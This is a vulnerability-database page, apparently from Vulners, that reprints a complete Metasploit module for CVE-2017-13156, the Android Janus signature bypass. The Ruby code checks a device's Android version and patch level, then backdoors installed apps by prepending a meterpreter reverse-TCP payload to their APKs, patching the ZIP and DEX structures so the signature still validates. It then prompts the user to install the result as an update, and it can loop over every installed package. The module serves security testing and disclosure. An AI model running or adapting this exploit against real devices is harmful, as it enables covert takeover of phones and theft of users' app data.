Lucene search
+L

Android Janus APK Signature bypass

🗓️ 31 Jul 2017 00:00:00Reported by GuardSquare, V-E-O, timwr, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 314 Views

Android Janus APK signature bypass to install payload into another application

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Android::Priv
  include Msf::Payload::Android
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Android Janus APK Signature bypass',
          'Description' => %q{
            This module exploits CVE-2017-13156 in Android to install a payload into another
            application. The payload APK will have the same signature and can be installed
            as an update, preserving the existing data.
            The vulnerability was fixed in the 5th December 2017 security patch, and was
            additionally fixed by the APK Signature scheme v2, so only APKs signed with
            the v1 scheme are vulnerable.
            Payload handler is disabled, and a multi/handler must be started first.
          },
          'Author' => [
            'GuardSquare', # discovery
            'V-E-O',       # proof of concept
            'timwr',       # metasploit module
            'h00die',      # metasploit module
          ],
          'References' => [
            ['CVE', '2017-13156'],
            ['URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures'],
            ['URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156'],
          ],
          'DisclosureDate' => '2017-07-31',
          'SessionTypes' => [ 'meterpreter' ],
          'Platform' => [ 'android' ],
          'Arch' => [ ARCH_DALVIK ],
          'Targets' => [ [ 'Automatic', {} ] ],
          'DefaultOptions' => {
            'PAYLOAD' => 'android/meterpreter/reverse_tcp',
            'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
            'DisablePayloadHandler' => true
          },
          'DefaultTarget' => 0,
          'Notes' => {
            'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
            'Reliability' => [],
            'Stability' => [SERVICE_RESOURCE_LOSS] # ZTE youtube app won't start anymore
          },
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                appapi_app_install
              ]
            }
          }
        }
      )
    )
    register_options([
      OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
    ])
  end

  def check
    os = cmd_exec('getprop ro.build.version.release')

    unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))
      return CheckCode::Safe("Android version #{os} is not vulnerable.")
    end

    vprint_good("Android version #{os} appears to be vulnerable.")

    patch = cmd_exec('getprop ro.build.version.security_patch')

    if patch.empty?
      return CheckCode::Appears('Unable to determine patch level. Pre-5.0 this is unaccessible.')
    end

    if patch > '2017-12-05'
      return CheckCode::Safe("Android security patch level #{patch} is patched.")
    end

    CheckCode::Appears("Android security patch level #{patch} is vulnerable.")
  end

  def infect(apkfile)
    unless apkfile.start_with?('package:')
      fail_with(Failure::BadConfig, 'Unable to locate app apk')
    end

    apkfile = apkfile[8..]
    print_status("Downloading APK: #{apkfile}")
    apk_data = read_file(apkfile)

    # Create an apk with the payload injected
    apk_backdoor = ::Msf::Payload::Apk.new
    apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)

    # Extract the classes.dex
    dex_data = ''
    Zip::File.open_buffer(apk_zip) do |zipfile|
      dex_data = zipfile.read('classes.dex')
    end
    dex_size = dex_data.length

    # Fix the original APKs zip file code directory
    cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
    cd_start_addr = apk_data[cd_end_addr + 16, cd_end_addr + 20].unpack('V')[0]
    apk_data[cd_end_addr + 16...cd_end_addr + 20] = [ cd_start_addr + dex_size ].pack('V')
    pos = cd_start_addr
    while pos && pos < cd_end_addr
      offset = apk_data[pos + 42, pos + 46].unpack('V')[0]
      apk_data[pos + 42...pos + 46] = [ offset + dex_size ].pack('V')
      pos = apk_data.index("\x50\x4b\x01\x02", pos + 46)
    end

    # Prepend the new classes.dex to the apk
    out_data = dex_data + apk_data
    out_data[32...36] = [ out_data.length ].pack('V')
    out_data = fix_dex_header(out_data)

    out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric(6)}.apk"
    print_status("Uploading APK: #{out_apk}")
    write_file(out_apk, out_data)
    register_file_for_cleanup(out_apk)
    print_status('APK uploaded')

    # Prompt the user to update the APK
    session.appapi.app_install(out_apk)
    print_status('User should now have a prompt to install an updated version of the app')
    true
  rescue StandardError => e
    print_error e.to_s
    false
  end

  def exploit
    if datastore['PACKAGE'] == 'ALL'
      vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
      all = cmd_exec('pm list packages').split("\n")
      c = 1

      ignore = [
        'com.metasploit.stage', # avoid injecting into ourself
      ]

      all.each do |package|
        package = package.split(':')[1]
        vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
        c += 1
        next if ignore.include?(package)

        break if infect(cmd_exec("pm path #{package}"))
      end
    else
      infect(cmd_exec("pm path #{datastore['PACKAGE']}"))
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2017 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 27.2
CVSS 37.8
EPSS0.20089
314